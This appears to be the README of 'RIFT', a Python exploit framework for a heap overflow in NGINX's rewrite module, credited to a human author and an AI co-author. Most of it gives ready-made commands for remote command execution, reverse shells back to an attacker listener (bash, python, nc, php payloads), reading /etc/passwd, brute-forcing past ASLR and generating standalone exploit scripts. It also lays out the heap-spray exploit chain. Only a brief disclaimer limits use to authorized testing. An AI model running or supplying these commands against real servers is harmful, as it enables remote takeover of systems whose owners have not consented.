RIFT — 远程注入与故障触发

作者： Michael Sanji Winaya Prawiradibrata
AI 合著者： Varanus — sahabatku

针对 NGINX 的 ngx_http_rewrite_module 的堆缓冲区溢出利用框架。
一个集侦察与利用于一体的工具。零外部依赖。

仓库内容

运行要求

• Python 3.6+（仅标准库 — 无需 pip、无需 venv、无依赖项）

快速上手

# 1. 全面侦察 — 检测版本、端点、漏洞、策略
python3 rift.py --target 10.10.10.10 --recon

# 2. 侦察 + 一次性利用
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. 执行命令
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. 反弹 Shell（自动打开监听器）
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. 使用 bash 的反弹 Shell（而非 python）
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. 仅检查是否易受攻击
python3 rift.py --target 10.10.10.10 --check-only

所有标志

使用模式

利用选项

侦察选项

特色功能

✅ 自动反弹 Shell

使用 --shell 时，脚本自动：

1. 根据 --shell-type 生成反弹 Shell 载荷
2. 在 --lport 上打开监听器
3. 发送利用载荷
4. 一旦工作进程崩溃 → 获得 Shell
5. 自动监听器： 优先使用 netcat（nc -lvnp），回退至 Python 监听器

✅ 自动 ASLR 暴力破解

若默认地址失败，脚本自动滑动堆基址 ±5 步 × 0x10000，寻找匹配地址。无需手动设置。

✅ 多载荷反弹 Shell

4 种 Shell 载荷类型 — python、bash、nc、php。选择目标上可用的类型。

✅ 全面侦察

--recon 执行 5 个阶段：

1. 指纹识别 — 检测 NGINX 版本、15 个常见端点、重写模块
2. 信息泄露 — 错误页面中的内存地址、时间侧信道
3. 端点测试 — 使用 6 种载荷测试端点行为
4. 工作进程计数 — 根据延迟模式估算工作进程数量
5. 策略建议 — 基于分析结果推荐行动方案

✅ JSON 输出

--output json 用于与其他工具集成或自动解析。

易受攻击的配置

利用目标为具有如下 rewrite + set 配置的 NGINX：

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # 长度计算使用 is_args = 0
}

后果：分配的缓冲区过小，URI 转义（3 倍扩展）导致溢出。

受影响版本

• NGINX 开源版： 0.6.27 – 1.30.0
• NGINX Plus： R32 – R36
• 修复版本： 1.31.0、1.30.1、R36 P4+、R35 P2+、R32 P6+

利用工作原理

1. 堆喷射 ─── POST /spray × 20 → 在堆中植入伪造的 ngx_pool_cleanup_s
2. 触发 ────── GET /api/AAAA...++++... → 通过 URI 转义溢出
3. 破坏 ────── 溢出覆盖相邻池的 cleanup 指针
4. 执行 ────── 池销毁 → 调用 system("command")

重要常量（可在 rift.py 中修改）

完整示例

命令执行 + 详细输出

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

自定义地址（绕过 ASLR）

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

多次尝试

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

侦察 + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

生成利用脚本

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

故障排除

"目标似乎未运行 NGINX"

• 检查端口：nc -zv <IP> 80
• 尝试其他端口：--port 8080、--port 443
• 可能位于 WAF/代理之后

"所有利用尝试均失败"

1. ASLR 可能已启用 — 尝试 --auto 进行自动 ASLR 滑动
2. NGINX 版本可能已修复（> 1.30.1）
3. NGINX 配置可能不易受攻击（未使用 rewrite+set）
4. 尝试 --verbose 查看每次尝试的详细信息

未连接到 Shell

• 检查本地防火墙：sudo ufw allow 4444
• 检查 --lhost — 确保本地 IP 正确
• 尝试 --shell-type bash 或 --shell-type nc

免责声明

本工具仅用于教育和授权安全测试目的。
未经授权使用系统是违法的。

© 2026 Michael Sanji Winaya Prawiradibrata
AI 合著者：Varanus